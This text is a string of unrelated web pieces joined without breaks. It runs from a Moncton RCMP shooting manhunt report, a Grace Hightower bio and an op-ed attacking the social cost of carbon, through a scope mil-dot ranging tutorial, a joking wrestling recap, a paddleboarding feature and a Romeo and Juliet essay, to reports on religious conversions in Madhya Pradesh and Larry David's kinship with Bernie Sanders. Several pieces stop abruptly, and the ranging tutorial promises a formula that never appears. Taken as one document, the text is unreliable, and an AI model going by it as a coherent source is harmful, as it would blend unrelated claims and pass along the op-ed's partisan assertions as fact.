Officials say the suspect, Justin Bourque, 24, was spotted multiple times early on Thursday morning.
They have warned people to stay inside and lock their doors.
One of the wounded Royal Canadian Mounted Police (RCMP) has been released from hospital, and one remains in hospital in a stable condition.
It is the deadliest attack on the country's police force since four officers were killed by a gunman on a farm in the western Canadian province of Alberta in 2005.
'Complete investigation'
Police said on Wednesday they still did not know where Mr Bourque was, but he was armed and dangerous.
RCMP Supt Marlene Snowman warned that the suspect was armed with high-powered firearms.
Media playback is unsupported on your device Media caption Supt Marlene Snowman showed the strain at an emotional press briefing
"He's not known to us, he's a young person," she said. "We're doing a complete investigation to learn as much as we can about him, about his history, what may have sparked this."
Supt Snowman said the RCMP was thankful for all the messages of support the force had received since the shooting.
"Our guys and gals are doing the very very best they possibly can and they have done exactly that in the past day," she said.
Police forces from around and outside the province of New Brunswick were contributing to the search, as well as special air support and canine search teams.
New Brunswick Premier David Alward said he felt "incredible grief" stemming from the incident.
The officers were shot while responding to a report of an armed man at the north-west side of the town at about 20:00 local time (23:00 GMT) on Wednesday.
"We opened up the windows in the family room and there he was going across through the back with this rifle on his shoulder," witness Joan MacAlpine-Stiles told Canadian media.
"I said, 'Oh my God, there he is with camouflage and the headband and a gun, and it looked like a bow he had with him."
Media playback is unsupported on your device Media caption Constable Damien Theriault: "People should stay inside and lock their doors"
Police established road blocks in an effort to seal a perimeter around the residential area and combed nearby woods, searching through the night and into the morning.
Schools in the town are closed, buses are not running, and postal service has been suspended.
Pedestrians and motorists have been asked to stay away from the area.
The suspect was spotted after daylight, but Supt Snowman warned he was "very mobile".
"There's no question that we're going to continue this search in order to apprehend him," she said.
Image copyright AP Image caption Authorities continue to search the area of Moncton for the suspect
Career [ edit ]
As a philanthropist, Hightower launched "Grace Hightower & Coffees of Rwanda" in 2013 with the mission of improving Rwandan livelihoods by marketing their products internationally. She is a board member of the New York Women's Foundation and the New York Fund for Public Schools as well as a member of Ronald Perelman's Women's Heart Health Advisory Council and the International Women's Coffee Alliance. Hightower has been honored for her work by numerous institutions including the American Cancer Society of New York City.
As a socialite, Hightower's gala 55th birthday party was covered in Vogue magazine by André Leon Talley.[2] In 2010, she presented the Pratt Institute's Creative Spirit Award to director Lee Daniels.[3]
As an actress, Hightower has had minor roles in various movies including Precious (2009) and The Paperboy (2012). Additionally, she had a minor part in the ABC TV series, NYPD Blue, in the 1994 Season One episode entitled "Zeppo Marks Brothers".
As a singer, she performed the lead vocals for the track, "Somethin's Comin' My Way", written by Dan Manjovi for the 2009 Precious movie soundtrack.
Personal life [ edit ]
Hightower is of African-American and Blackfoot descent and was raised in Kilmichael, Mississippi. She grew up in a poor family and worked various odd jobs to help support them. Hightower became a flight attendant for Trans World Airlines, attracted by the possibility of traveling and expanding her horizons. Settling in Paris and later London, she worked variously as a mutual fund trader and restaurant worker. In 1987, while working at Mr. Chow, an upscale London Chinese restaurant and celebrity hangout, she met and began dating Robert De Niro.[1].
In 2010, global warming alarmists in the Obama administration set out to find a way to justify the huge costs of the global warming regulations they wanted to pursue. This effort focused on creating a “social cost of carbon,” which purports to put a dollar figure on the alleged future economic harms of global warming. The bureaucrats could then take this theoretical “cost” and use it to claim that their regulations were actually saving the economy from future damage.
To estimate future costs, the government selected three integrated assessment models which try to project the economic future. Not surprisingly, all three tend to estimate substantial harms from global warming, even though there is still a great deal of debate over both how much warming might happen in the future and whether any such warming will be harmful (but for the purposes of this discussion that can be left aside). When the federal government’s standard 7% discount rate was applied to these theorized future harms, the present value of those costs dwindled to insignificance. Indeed, applied to one of the models, the present “cost” is actually negative, implying that taking no action to reduce carbon dioxide could actually be economically beneficial. In other words, more economic growth today will be more beneficial to future Americans than restrictive regulation, even if we assume significant future harm from global warming.
Of course this result could not be allowed to stand. The whole point of a social cost of carbon is to artificially inflate the benefits of global warming regulation. So the bureaucrats do what they do best: change the rules to get the outcome they wanted. In this case, the Obama administration used different, much smaller discount rates. The administration publicized a calculated social cost of carbon for discount rates of 5%, 3% and 2.5%, completely disregarding the required 7%. Then they chose the “mid-range” of their new three lower rates, and announced a social cost of carbon of $36 per ton of carbon dioxide (in contrast to close to $0 per ton at a 7% rate).
The upshot is that now for every global warming regulation that claims to reduce carbon dioxide (a colorless, non-toxic, non-polluting gas that is necessary for plant life on earth) is considered to be providing benefits of $36 for every ton of reduction. Given that virtually every human activity, including breathing, generates carbon dioxide, the federal government can now claim “climate benefits” for almost any regulatory action it undertakes. And just last month, a federal court deferred to the federal government’s decision to use this value for social cost of carbon.
Coin-Swap, which was launched in January 2014 by Ian Childress, was sold to scammer Josh Garza at the end of December 2014. Having gutted Coin-Swap's trading engine for use in Paybase, it would appear the exchange is now abandoned despite remaining online and continuing to accept deposits from unwitting users.
That’s all fine and cool, but what I like most about the mil-dot system is that it can be used to figure out the distance to a target, just by looking through your optic. Hey, when the Zombies come, batteries are going to be in short supply, and those fancy laser rangefinders will only work for so long.
In fact, one of the earliest uses of the mil-dot ranging system allowed submarine commanders to figure out how far away an enemy ship was. This knowledge, used with some basic math that factored in the speed of their torpedoes, told them where to aim in order to intersect the path of the ship. If you’re ancient enough (like me) to have played that old arcade game Sea Wolf, you’ll know the concept. Except back then, you had to guess when to launch the torpedo, and it took a lot of quarters to nail the timing consistently. If you don’t know what an “arcade game” is, count me as envious of your youth.
Likewise, mil-dot markings in your scope can easily be used to figure out how far away a person, animal, or object is from your current position. It’s a matter of proportion. For example, have you ever tried to help someone spot a planet in the night sky by telling them something like, “Look two thumb widths over from the moon and you’ll see it?” Obviously, Mercury is somewhat farther than two thumbs away from the moon. Your thumb width is just represents a proportional distance relationship. The width of your thumb two feet from your eyes represents some millions or billions of miles of distance far out in space.
The concept of determining how far away something is using mil-dots is similar. Because the proportional size of an object is constant with distance, you can use some basic algebra principles to figure out the range. Don’t freak out because I used the word “Algebra!” I hated that class too, but there is one important thing we all learned that applies here. Remember “solving for X?” All that really boiled down to was knowing that if there are three pieces of information, and you know two of them, you can usually solve for the missing third one. In this case, you can always solve for the missing piece of info at the relationships are proportional.
At risk of grossly oversimplifying math and ticking off my 8th-grade algebra teacher, it works like this. With a mil-dot scope, we know that the measurements between dots on the scope reticle equate to 1 yard at 1,000 yards distance. If we also know the actual size of a distant object, like a person standing, fence post, or copy of the New York Times, then we have two pieces of known information. The only thing missing is the distance between our scope and the known size object.
Let’s use a real-world example to illustrate the idea.
Suppose we want to shoot a copy of The New York Times. Yes, that brings me joy, but that story is for another day. Someone has placed it down range at an unknown distance. As hardly anyone knows, the width of The New York Times is about 12 inches. When folded, as it would be in a newspaper rack, it’s about 11 inches tall. Now, if someone put our example entirely objective content newspaper at close range, say 5 feet, it would look pretty big through a scope. However, if they placed it 300 yards down range, it would appear to be a puny little thing, even less worthy of a read than normal. That’s the whole proportion thing in action. They farther away it is, the smaller it appears.
Here’s where the magic of mil-dot comes into play. What if we “measured” the size of our downrange newspaper using the mil-dot markings in the scope? Using the scope marks like a ruler, we can look at the paper through the scope and see how many “mil-dots” in the scope reticle it covers. At close range, say 10 yards, the paper might appear to be 20 mil-dots tall. At long range, it might only be one or two mil-dots tall. Here’s where we can use our two “known” pieces of information to figure out how far away it is. We know the length of a mil-dot at a fixed range of 1,000 yards. We also know that the New York Times, when folded, is about 11 inches tall. The only piece of missing information is the distance between us and the formerly-epic example of investigative journalism.
Here’s where the proportions come into play. Remember from the previous discussion that one milliradian (mil) equates to one yard at a distance of 1,000 yards. For illustration’s sake, imagine standing a yardstick upright 1,000 yards down range. When we look at that through a mil-dot scope reticle, it will appear to be exactly one mil tall.
That’s the basis of the proportion relationship. If a one-yard tall object appears to be one mil tall through the scope, it must be 1,000 yards away. If it appears to be two mils tall, then it’s only 500 yards away. If the object is not exactly one yard tall, then you need to adjust accordingly.
Let’s say that The New York Times appears to be two mils tall through our scope. But we know that it’s only .305 yards tall. We also know that a one-yard tall object that appears to be two mils tall through the scope is 500 yards away, so a smaller object that appears two mils tall must be closer, since it appears larger.
Rather than get all wrapped up in the words, there’s a simple formula to figure out the range. It relies on knowing the actual size of the object your are ranging and the number of mils that it appears to be through your scope.
Plugging these values into the formula, we get:
The same formula works with meters too, as long as you’re consistent.
It sounds complicated, but once you get the hang of it, you can use this system almost anywhere, because there are almost always objects of known size nearby. For example:
The average fencepost is about 4 feet (1.33 yards) tall.
An “average” man standing is 70 inches (1.94 yards) tall.
An average man sitting is 33 inches (.917 yards) high.
A Russian T-72 Tank is about 1 yard from the ground to the base of the turret. OK, maybe we don’t all know the tread height of a T-72, but you have to admit, it’s an interesting factoid to file away. I didn’t know it either, and had to look it up.
BREAK THE WALL DOOOOOOOWN
JERICHO: hey KO why did you beat me up
KO: you really th-
JERICHO: quiet
KO: but I w-
JERICHO: QUIET NOW ANSWER ME
KO: so I can talk now
JERICHO: YES
KO: you were never my friend, I used you to win, I totally would have beaten Goldberg if you weren’t there, you're lucky I didn't beat you up worse
JERICHO: well the Universe is my friend so
UNIVERSE: yep
JERICHO: Imma fight you at Mania
KO: only if it's for the US belt
JERICHO: k now fight me
KO: k
suddenly JOE
JOE: Imma beat up Jericho too
suddenly SAMI
SAMI: I have a chair
JERICHO: can I have it for a sec
SAMI: k
JERICHO and SAMI clear the ring
COLE: hey Mick Foley put KO and Sami in a match now and Jericho and Joe in one later
UNIVERSE: sure why not
insert standard KO/SAMI match, KO wins this time
ARIES: hey look at my package
UNIVERSE: YES THANK YOU WE GET THE JOKE
GRAVES: yep it’s a nice package
UNIVERSE: oh good lord
suddenly purple ropes
UNIVERSE: member CM Punk
SWANN: rematch time, can you handle this
NEVILLE: yep
NEVILLE beats up SWANN
SWANN: have a top rope and some flippiness, now pin
NEVILLE: nah, top rope superplex
SWANN: k but imma roll
NEVILLE: well that’s fine, here’s a barricade
SWANN: how bout kicks and a really big flip
NEVILLE: my turn to roll, have a submission, now tap
SWANN taps
ARIES: hey Neville you still have the belt, how bout that
NEVILLE: I still have the belt and none of the cruisers can beat me
ARIES: k but I could beat you
NEVILLE: nah, go back to commentary
ARIES: I’d rather not
ARIES punches NEVILLE who runs away
ENZO & CASS: hey look a cuppa haters
CESARO: actually this is coffee, you two really suck
ENZO attempts humor
ENZO: also you lost to Joe last week
GOOOOOOOLDBERG, GOOOOOOOOLDBERG, etc.
GOLDBERG: I have the Universal title now
UNIVERSE: member CM Punk
GOLDBERG: yep
VINCE: dammit Heyman get out there
suddenly HEYMAN
HEYMAN: Bork’s here
BORK is here, BORK and GOLDBERG stare at each other
HEYMAN: Bork says thank you in advance for the Universal belt, at Mania you’ll be Bork’s b-word
GOLDBERG: say what now
BORK F-5s GOLDBERG, BORK walks off to eat all of Chicago, GOLDBERG sweats profusely
E&C: HOW YOU DOIN, SAWWWWWWWWFT, etc.
CLUB and E&C have a rematch
ENZO: hey Cass maybe you should tag in earlier this time
CASS: sounds good
CASS beats up everyone
CASS: tag
suddenly CESARO & SHEAMUS
C&S: just here to watch
ENZO: face in peril time
CASS: not for long tho
E&C beat up CLUB, ENZO spills CESARO’s coffee, C&S beat up E&C
COLE: Ravishing Rick Rude’s going in the Hall of Fame
C&S and E&C are backstage yelling at each other
MICK: EVERYONE SHUT UP, you’re having a match next week
STEPH: Mick Foley to the principal’s office please
MICK: k
suddenly purple ropes
AKIRA and DAIVARI have a fight
AKIRA: LOUD NOISES AND FLIPPINESS
AKIRA kills DAIVARI
AKIRA: hey The Brian are you ever gonna fight me
THE BRIAN: I’ll answer that on 205 Live
NEW DAY’s here with ice cream, E tries to eat the cooler
NEW DAY: keep buying our merch so you can buy our ice cream later, we’re gonna fight the Shining Stars
STARS: also we’re here
NEW DAY kills STARS
MICK: hey Bayley, nice job defending your title last night
BAYLEY: yeah but Sasha interfering wasn’t great
MICK: but hey it doesn’t really matter that Sasha interfered, who’s gonna fight Bayley at Mania
SASHA: Imma fight Bayley at Mania
CHARLOTTE: nah imma fight Bayley at Mania, Sasha is playing Bayley and she robbed me last night
DANA: also I’m here
STEPH: yeah Sasha is obviously playing Bayley so Charlotte is going to face Bayley at Mania
UNIVERSE: MEMBER CM PUNK
BEAR: yes of course Chicago now please stop
MICK: how bout Sasha and Charlotte fight next week to see who faces Bayley
STEPH: nah but Sasha fights Bayley now and if Sasha wins then triple threat at Mania, and somehow I’m totally fine with that outcome
SASHA and BAYLEY have a fight
SASHA: shake my hand
BAYLEY: nah let’s grap instead
CHARLOTTE: I’m on commentary, Sasha is obviously manipulative and playing everybody
COLE, GRAVES, SAXTON: oh SURELY not
BAYLEY: have some offense
SASHA: have some right back
BAYLEY: pin
SASHA: nah, pin
BAYLEY: nah, pin
this goes on for a while
SASHA: bank statement
BAYLEY: nah
SASHA: how bout now
CHARLOTTE: Imma interfere
DANA: me too, I’m helping
SASHA: nah, even more bank statement
BAYLEY taps, CHARLOTTE kills everyone
CHARLY: hey Roman, Braun says he’s gonna beat you up, how bout that
ROMAN: guess I’ll see him later tonight
ROLLINS is rehabbing
ROLLINS: Imma be at Mania
HHH is on the Tron
COLE: hey HHH, Rollins wants to be at Mania, how bout that
HHH: our doctors are awesome, they say Rollins shouldn’t go to Mania so he probably shouldn’t, I’m also awesome, if Rollins calls me out at Mania imma kill him
suddenly an EMMA video
EMMA: Dark Emma coming soon
BEAR marks out furiously, UNIVERSE collectively shrugs
JOE and JERICHO have a fight
JOE: Imma kill you
JERICHO: nah
JOE: coquina clutch
JOE kills JERICHO, then comes back to kill him aga-
JERICHO: hey Bear don’t write things for me before they happen
BEAR: did you just break down the fourth wall
JERICHO: that’s kinda my thing, anyway Joe gets a codebreaker
what JERICHO said
a large amount of beef enters
BRAUN: HEY ROMAN GET OUT HERE AND FIGHT ME
GONG
and
a
really
long
entrance
and
then
TAKER
stares
down
BRAUN
BRAUN: yeah no thank you
suddenly ROMAN
ROMAN: hey Taker, leave
TAKER kills ROMAN, ROMAN does not overcome things
COLE: well Taker’s fighting Roman at Mania now
Ten years ago, Oxford local Alice Walker and Mississippi native JD Evermore finished making GLORIOUS MAIL, the award winning Indie Film that was shot in Oxford, Mississippi. Alice Walker, JD Evermore, and other stars from the film will be in attendance at the GLORIOUS MAIL screening. Admission is free but donations to Oxford Film Festival are welcomed and encouraged.
GLORIOUS MAIL is the story of a gay antique dealer and community theatre actor who causes a local and federal controversy with his new mailbox which was made by his lesbian artist friend, prompting a Jewish filmmaker to travel from NYC to the small town of Sinnaville to cover the story. Set in 2004, this hilarious Southern mockumentary explores tolerance and equality and celebrates gay marriage in Mississippi long before it was legal. The official trailer for the film can be previewed here.
Take the stand-up paddleboard, or SUP, something of a hybrid between a surfboard and a Venetian gondola. You can catch small waves on it, but having a paddle means you're not beholden to them. It's an enjoyable way to get from point A to point B when those points are on an ocean, lake or river. And it's a good workout, to boot.
The modern paddleboard can be traced to the 1950s, when instructors in Hawaii used them to stay afloat while teaching traditional surfing. But the concept has gone mainstream only in the past 10 years, growing exponentially in popularity and commercialism over that time.
Despite its recent appearance on the recreation scene, there are now more than 300 SUP races a year in the United States alone. It's newly popular in Australia, where surfing is the national sport, and catching on in Europe. Specialty brands manufacture equipment and sponsor races as well as some of the racers, which is largely the definition of turning pro in emerging sports.
And although there is no agreed-upon international governing body to make rules and create standards, that hasn't stopped various organizers around the world from tracking times, ranking competitors and creating rules.
Anyone who has tried a paddleboard knows it requires balance and strength and rewards a love of the outdoors. It's another hybrid, too: of exercise and fun.
Paddleboarding is to surfing what cross-country skiing is to downhill. Working hard for less thrill has its fans, and they tend to be fitter than their joyriding cousins.
There's also appeal in the ease at which you can enjoy the water. "I still have fun even when waves are terrible," said Izzi Gomez, a champion wave rider. Her friend Ethan Koopmans agreed: "It's a fast learning curve and more access to the feeling of catching a wave."
Location, location, location
Route 84 east of Portland, Oregon, as it snakes along the Columbia River, is one of the more beautiful drives you'll find in the United States. There are waterfalls, rocky outcrops and a valley gorge of rapid water, colorful rocks and evergreen trees.
The Columbia Gorge in Oregon is known for its consistent wind which provides waves to the paddleboarders.
Getting out on the Columbia, which is open to various recreation (especially wind-powered), is to immerse yourself in natural wonder. Salmon are totems of the sport: Like the paddleboarders, they fight the current to get to their finish line and breach the water in a burst of energy.
It's the wind that led race organizers here. Winds reaching 30 mph are not uncommon in the Columbia River Gorge, and that can produce 4- to 6-foot waves -- ideal for paddleboarding.
"It's continually windy," Doug Hopkins, one of the organizers of the Columbia Gorge Paddle Challenge , said of the stretch of the Columbia where it takes place. "Good downwind racing is a good long course with good waves, a good wind and easily accessible" from land. "Racers come and stay up to a month because they love it."
The main stage and race finish line are at the beach on the edge of Hood River, Oregon.
You could scarcely ask for a better small town in which to host a race. It runs up along the south side of the river valley and has views of snowcapped Mount Hood. It also contains a crowd-pleasing variety of businesses for when you're not surfing, including brewpubs, ice cream parlors, coffee shops, two movie houses, an independent bookstore and a toy store called G. Willikers.
Ready, set, paddle!
The Columbia Gorge Paddle Challenge, which saw its seventh annual race last month, runs over two days. One is for a straight downwind race of speed and stamina, and the other day features a course race around buoys, requiring speed, stamina and agility.
The downwind distance race begins at Viento State Park, 8 miles downstream from Hood River, meaning racers are going upstream but with the wind at their backs. That's the coveted recipe for bigger waves.
Sitting on their boards, participants line up across the river (as best one can in a fast-moving current), waiting for the green signal flag. As it drops, they pop up on their boards and start paddling furiously.
The "elite" racers -- a self-determined designation, for which the entry fee is higher but the prize money is up to $2,000 for winners -- do the 8 miles twice, taking cars back from Hood River for a second lap.
For everyone else, including many novices, there is the open-class race, which is only one leg and has a less difficult beach start.
The open class is so open, you don't even have to be on a paddleboard, though most are. This year, fewer than 10 of the 225 participants were on traditional (or "prone") surfboards and paddling with their hands, and several were in two-man outrigger canoes. A handful were on foil boards, which float the person above the river by several feet, carried along by an underwater fin or hydrofoil, and much faster than a traditional paddleboard.
There is no governing body to make rules for SUP races but hundreds are still organized every year, including the annual Columbia Gorge Paddle Challenge.
The river is about three-quarters of a mile wide, which was helpful this year when a massive tanker pulled up behind the racers and slowly made its way around. That width also gives plenty of space to the wind and kite surfers running circles around the hardworking racers.
For the downwind race, most of the competitors stayed closer to shore, which gave a more direct path to the finish line on land. But others chose a strategy of paddling out to the middle of the river, where the wind and waves were greater -- but so was the current they fought, a strategy that favors only the strongest paddlers, explained Hopkins.
The fastest competitors know the river well, knowing when to take advantage of places to go deep and when to stay close to shore, where small eddies can propel them despite smaller waves. Obstacles such as weeds and old tree trunks (known as "dead heads") are not a huge problem on this stretch.
Although some amateur boarders took more than two hours to complete the 8 miles, the fastest elite winner of the "double down" race this year, Bernd Roediger of Maui, Hawaii, did both laps in just under two hours, an average of about 8.5 mph.
The course race begins at the beach in Hood River, Oregon.
The next day, the same racers had to demonstrate a different skill set as they maneuvered around a pinball game of a course. The pattern around the buoys was confusing to follow for spectators, of whom there were dozens standing at the finish.
Some racers use the same board for both events, but the course race favors a more maneuverable flatwater paddleboard over a downwind one designed to catch waves more easily. On a flatwater board, racers shift their weight back to pivot the tip around inflatable buoys.
Especially on the course race, where accidental bumping occurs, most paddlers seemed to fall over at some point. They quickly scrambled out of the chilly river and started paddling away again.
Racers can be disqualified for intentionally hitting another board or paddling while sitting or kneeling for more than a few strokes at a time. But there's almost never unsportsmanlike behavior in the supportive (if serious) SUP community.
Being competative in a SUP course race around buoys requires speed, stamina and agility.
The fastest of the course racers fell less, paddled faster on the straightaways and more effortlessly cleared the buoys -- an impressive mastery of the board and of personal strength.
As in any good sport, the path to greatness is blazed with dedicated practice and overall fitness. And the crowds cheered each participant as they hopped off at the beach and ran to the finish line, exhausted.
Fit as a fiddle, happy as a clam at high tide
SUP is popular as recreation, as a competitive sport and as a fitness regimen, one of those great exercises that taxes your whole body. Balancing works all the leg muscles. The movement of paddling works the abs and core. Alternating the paddle builds up biceps and triceps. And the whole thing is aerobic.
"The beauty of downwinding is catching waves for a break," Hopkins said. "It's exciting, and you're not even thinking about" how hard of a workout it is.
And of course there are the health benefits of fresh air, staring into long distances and getting into the flow of the water. It can be meditative and restorative.
The risks of SUP, at least as an organized sport, are minimal. An intense course race could leave a competitor dehydrated, but because personal flotation devices are required, the risk of drowning is negligible. When training, partner with a buddy, stick close to shore, know where you're going and stay hydrated.
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For those who feel intimidated, local surf shops near paddleboarding hot spots offer teachers. At Hood River, instructors at Big Winds shop can get a newbie up and competent enough to finish the open class in just a few days. A paddleboard -- the only pricey equipment -- can cost between $1,000 and $2,500 new and roughly half that used.
It's an inclusive sport, welcoming of newcomers. At this year's Columbia Gorge Paddle Challenge, 79 of the 318 racers were women. The youngest competitor was 9 and the oldest 68.
People always talk about Romeo and Juliet as if it’s a romance, as if it’s a great passionate play, the greatest love story of all time. Seen that way, I’ve always found it a little disappointing. There’s certainly a romance in it, but it’s actually much more a play about a feud between families. What’s most interesting to me is the way that the whole thing is set up like a comedy, where you can safely expect a happy ending, the lovers reunited and their families reconciled, only to see Shakespeare pull the rug from under you. Only King Lear does more of a switch, where it looks as if even the terrible events can be patched up, and then surprises us with worse.
Romeo and Juliet is truly a tragedy, with the inevitability of Greek tragedy where everyone is undone by their tragic flaw. And we’re informed of this at the beginning, so we know what we are headed for, and still, as the story goes on we want it to end differently. I like Romeo and Juliet for the narrative dissonance, and of course as always with Shakespeare, the beautiful language.
Modern audiences who have come to see a famous love story are often a bit taken aback at the beginning. Shakespeare explains it all in the prologue—this is the story of a stupid feud between two houses, and a pair of star-crossed lovers who get caught up in it, and immediately we’re into insults and swordfighting. The Montagues and the Capulets are both noble families of Verona, at feud with each other. While it’s very important to make the emotional balance of the play work that they are, as the first line states, “alike in dignity,” sometimes they’re too alike in other ways. You do want to be able to tell Montagues and Capulets apart. But Shakespeare makes them very similar, and certainly doesn’t expect us to take sides, to favor one family over the other. If we suspect the text of taking a position it’s “A plague on both your houses!”
We’re given no reason for the feud—it’s long forgotten and buried under a million lesser thumb-bites and petty swordfights in alleys. It’s like the Guelphs and the Ghibellines in Florence—yes, originally there was an insult, and there are underlying lines of vague political allegiance, but the important thing is whose retainer said he was going to push the other side into the wall. It’s stupid, and the bickering and drawn swords that open the play is all on this level, and no wonder the Prince is sick of it. It’s a feud, and it’s established up front as real and dangerous, and also petty and with one side as bad as the other.
Actual Renaissance Italy had feuds, and no doubt it had young people falling in love too. But the Italy imagined by Shakespeare and the other Elizabethan and Jacobean playwrights was something different to the original audience—it’s both real and distant, half-known about and half-imagined, not quite a fairytale world but not quite solid either. Italians in plays were always stabbing and poisoning, and double-crossing, and plotting, and falling in love. Italy wasn’t a country, in Shakespeare’s day, it was a patchwork of city states with dukes and princes and kings. If Shakespeare used real Venice and Verona or made up Illyria, it didn’t matter. The audience doesn’t need to know a thing about Mantua except that you can go to an apothecary and buy poison, but it would be a different play if it were set in Coventry and Romeo were exiled to Leicester. Italy had this status for Shakespeare partly because it was the most wonderful place in Europe at the time, not just full of art and treasure but also the revived heritage of antiquity. The models for plays were classical, and secular plays were revived in Italy first, new plays were first written and performed there, before they spread elsewhere in Europe. So Italy in a way owned drama, audiences were used to Italian names and Italian settings. Shakespeare drew from all sorts of traditions, including the very English mumming plays, but both the real Italy and the dramatic one had a hold on his imagination.
Romeo and Juliet is often done in other settings, modern or otherwise. I didn’t realise why this never worked for me until I was once lucky enough to see a live stage science fiction version. The text wasn’t changed at all, but the whole thing was done in a Fuller Dome, lots of it climbing around in the struts, especially the balcony scene. The Capulets were humanoid aliens with distinctive clothing and body language. The alchemist was a weird three headed ostrichoid alien. When Romeo asks “Was that my father that went hence so fast?” we hear a spaceship zoom overhead. It was great. It was also the first version of Romeo and Juliet I’d ever seen where they’d changed the setting and it had worked. The planet of Verona contained a Prince, assorted aliens, and two households, one alien, one human, but both alike in dignity.
That’s the key to Romeo and Juliet, stated right there in the first line, and all the versions I’d seen that tried to change the setting had foundered on that. This story of two lovesick teenagers and their tragic end only works when the feuding households they come from really are equal with nothing to choose between them, whether in Shakespeare’s imaginary Renaissance Italy or on another planet. You can quite easily make The Tempest into a play about colonization, but that really doesn’t work for Romeo and Juliet—the whole thing only works if the families really are equal.
The other wonderful thing in the SF version was the Capulets’ body language. They wore shiny jumpsuits, and when at rest they rotated their hands over their knees. When the nurse is teasing Juliet about Romeo and says “his leg excels all men’s” she imitates this gesture, and it’s adorable. This tiny bit of physical byplay, in a play I saw once twenty years ago, became part of my definition of what makes the play great.
The original audience would not have been as sympathetic to the lovers as we are. Shakespeare’s pretty positive about romantic love, for his period, but marriage was really supposed to be an economic relationship much more than a romantic one. Shakespeare largely avoids the adultery, cuckoldry and bed hopping that so many other period dramas find hilarious. He’s reasonably in favour of love in marriage. But his audience wouldn’t necessarily have been, and he goes out of his way to get their sympathy. The modern audience, finding any other kind of marriage horrific, needs much less of this. The first thing, almost always changed in modern productions, is how young Juliet is—not quite fourteen. This is meant to excuse her silliness. Then it’s well established early on that Romeo’s tragic flaw is a propensity to fall in love, and to let romantic love go to his head. We see this the first time we see him, mooning over Rosaline, He’s in love with being in love, the woman is just a prop. But once we get to the actual love scenes, Shakespeare goes all out to get everyone on the side of the lovers, the beautiful speeches, the whole weight of language. And it works. Even when I was twelve and delighted to see the play start with a swordfight instead of kissy stuff, I was entirely won over by the end.
My favourite character is Mercutio, then and now. Mercutio is fun and sensible, he has all the best lines, and he speaks them lightly. He teases Romeo for his idiocy. His main characteristic is how lightly he takes everything. He also has an amazing death-scene, he makes a pun when he is dying—“ask for me tomorrow and you will find me a grave man.” And it is from Mercutio’s death that the tragic dominoes of the end start lining up. Mercutio’s death lead’s to Romeo killing Tybalt, which leads to Romeo’s exile, and then the fake death of Juliet, followed by the real deaths of both lovers.
The timing of their suicides and separate death speeches is wonderful, as is the fact that Romeo dies with the woman’s weapon, poison, while Juliet uses a sword. You could almost forget how contrived it is that Romeo hasn’t had the message that Juliet was only faking death. There’s never a dry eye in the house.
But this isn’t the end—this isn’t a play about them but the feud. The actual end follows their deaths and is the reconciliation of the families, brought about by the death as it could have been, we are told, by nothing else. I don’t know if anyone finds it any compensation, I never have.
This article was originally published April 20, 2015 as part of our ongoing Shakespeare on Tor.com series.
No one’s quite sure how many Muslim residents of this small town are working in places such as Dubai, Muscat, Kuwait or Saudi Arabia. Muslims estimate the number to be between 100 and 250; the majority Hindus think it’s in the thousands. Hindus are certain they are rolling in money abroad; Muslims insist they are engaged in menial jobs they would be embarrassed to do here.
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In this town that now enjoys the dubious reputation of having seen probably the first arrests under Madhya Pradesh’s Freedom of Religion Act, that’s what lies at the bottom of this story.
There’s no palpable tension as such, but in a region that boasts of little development and a large number of unemployed, “foreign connections” are a constant source of interest, intrigue and speculation, ever since the first Muslim youths began to find work abroad more than two decades ago.
Muslims, most of them goat traders who trace their origin to Rajasthan, are relatively better off than their Hindu counterparts, especially lower castes who say they are still discriminated against, making them battle poverty and lack of opportunities, often all together. The draw was obvious.
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Mohammed Kasim, who was probably the first to change his faith three years ago, says, “It’s not the money the Muslims have but the feeling that Islam will treat us better that drew me to it.”
Earlier named Keshav Jatav, the 22-year-old and younger brother Mohammed Ibrahim have stuck to their adopted faith even as their father Maniram, mother and younger brother returned to Hinduism last week in a ceremony organised by right-wing organisations.
The re-conversion, or ‘Ghar Vapasi’ as the Hindu organisations call it, took place within 48 hours of affidavits submitted by nine members of the Jatav community saying they wanted to embrace Islam of their own volition. They also claimed in private that they were doing so to escape caste discrimination. The ceremony also came a day after the arrest of four for “illegally converting” to Islam, including Keshav, father Tularam, Maniram and Makhubai Jatav.
The re-conversion ceremony was probably the only time the Jatav community members had entered the temple, perched on a hillock, and priests and other upper-caste members of Hindu organisations had jostled to be seen close to them.
“It’s not that we were stopped from entering the temple, but we thought it was not meant for us because we did not see any elder going there,” says 25-year-old Brijesh Yadav, an uncle of Tularam, who converted to Islam last year.
Tularam was accused of pressuring his wife to follow suit, but she had reportedly refused and returned to her parents.
The discrimination comes in other forms. “The upper castes don’t let us fill water from their wells when our wells run dry. We are sworn at,” says Santosh Jatav, 25, who like many of his age group in the community is unemployed.
Jehan Jatav says an upper caste man from whom he bought land warned him not to build his home facing the main road as he planned to construct own house on the other side.
“Ghulami karate to pani bharne dete (we could havee slaved for them and got the water),” says Brijesh. In contrast, he adds, “There’s no hierarchy in Islam. They all eat from one plate at social functions.”
He and his relatives haven’t converted, but as the 25-year-old says, who could put up with the daily humiliation.
But the upper caste Hindus insist it’s not discrimination but the money offered by rich Muslims that is instigating the Dalits to convert.
When Keshav converted, followed by his father Maniram, there were rumours that the family hailing from Chhirwaya village, about 30 km from Khaniyadhana, had accepted money to become Muslims. A small shop opened by Maniram and Kasim near the bus-stand in Khaniyadhana was cited as proof that they had received more than Rs 1 lakh each.
Kasim alleges the police tortured him to try and extract the name of the person “who had financed the conversion”, but failed as there was none.
“In this age when people don’t lend money to their siblings, who would pay so much to convert someone?” say stone traders Yusuf Ali and Karim Bhati. “When the convert prays, he will pray for himself. What benefit will such prayers bring to those financing the conversion?” they add, calling the ‘conversion for money’ a systematic campaign by right-wing organisations.
“It’s has been eight days since the FIR was registered. Have the police traced anyone who paid for conversion?” asks Sajjad Ali, one of the three Muslim councillors.
Kasim, who along with his brother is under watch from right-wing organisations, which are maintaining a vigil outside his rented home in Khaniyadhana, says he converted after coming in contact with a Muslim youth with whom he shared a room in Delhi.
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Well, in an excellent bit of news, today we've learned that maybe there's a reason Sanders' schtick came so natural to the Seinfeld creator. It turns out Larry and Bernie are related.
According to CNN, on an upcoming episode of PBS's Finding Your Roots, a series where celebrities get surprising tours through their family trees, Larry David will learn that he and Bernie Sanders are actually, as Larry put it to the Television Critics Association, "like a third cousin or something." Now, look, I've never been great at deciphering some of these distant family connections work. Like what's the difference between "third cousins" and "a cousin three times removed"? I don't know. But I do know that it feels like if you dig deep enough, you can find that we're all related to George Washington or "third cousins or something" with George Clooney.
